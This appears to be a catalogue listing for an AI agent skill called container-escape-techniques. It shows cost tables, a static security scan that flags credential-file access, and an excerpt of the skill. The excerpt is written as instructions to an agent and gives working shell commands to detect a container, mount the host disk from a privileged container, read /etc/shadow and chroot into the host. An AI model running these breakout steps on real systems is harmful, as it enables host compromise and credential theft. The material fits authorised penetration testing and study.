Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00052 | $0.02711 |
| Opus 5 | $0.00026 | $0.01355 |
| Sonnet 5 | $0.00010 | $0.00542 |
| Haiku 4.5 | $0.00005 | $0.00271 |
Grade C, and why
container-escape-techniques scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

Not a fault in itself. Listed so you know the mod talks to something, and to what.

SKILL: Container Escape Techniques — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.
0. RELATED ROUTING
Before going deep, consider loading:
- linux-privilege-escalation when you first need root inside the container before attempting escape
- kubernetes-pentesting for K8s-specific attack paths beyond pod escape
- linux-security-bypass when seccomp/AppArmor blocks your escape technique
Advanced Reference
Also load DOCKER_ESCAPE_CHAINS.md when you need:
- Step-by-step escape chains for common misconfigurations
- Docker-in-Docker escape scenarios
- Kubernetes-specific escape paths with full command sequences
1. AM I IN A CONTAINER?
# Quick checks
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
hostname # random hex = likely container
# Detailed check
cat /proc/1/status | head -5 # PID 1 is not systemd/init?
mount | grep -i "overlay" # overlay filesystem?
ip addr # veth interface? limited NICs?

# CDK: all-in-one container pentesting toolkit

2. PRIVILEGED CONTAINER ESCAPE
If --privileged flag was used, the container has nearly all host capabilities and device access.
2.1 Mount Host Filesystem
# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged
# Find host disk
fdisk -l 2>/dev/null || lsblk
# Usually /dev/sda1 or /dev/vda1
# Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

container-escape-techniques is a skill published in the GitHub repository miru-zero/zero-brain (0 stars, last pushed 15d ago), licensed MIT. It adds 52 tokens to every session and 2,711 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 2 findings (reaches for credential files, makes network calls). It is 92% identical to container-escape-techniques, differing in 4 lines, and is treated as a copy.

Run the Omnigent server as a Docker compose stack (server + Postgres) on any Docker host — your laptop, a VPS, EC2 by hand, or as the base layer of any container-platform deploy. Invoke when the user wants to build the image, bring up the compose stack, debug the stack on a host they already have, or extend the stack…

The single skill for reproducing an nx issue. Given a GitHub issue number (human entry) OR explicit repro parameters (agent entry), it runs the reproduction ENTIRELY inside an isolated Docker sandbox — gVisor on Linux, the Docker VM on macOS — so the untrusted repro's install scripts and commands never execute on the…
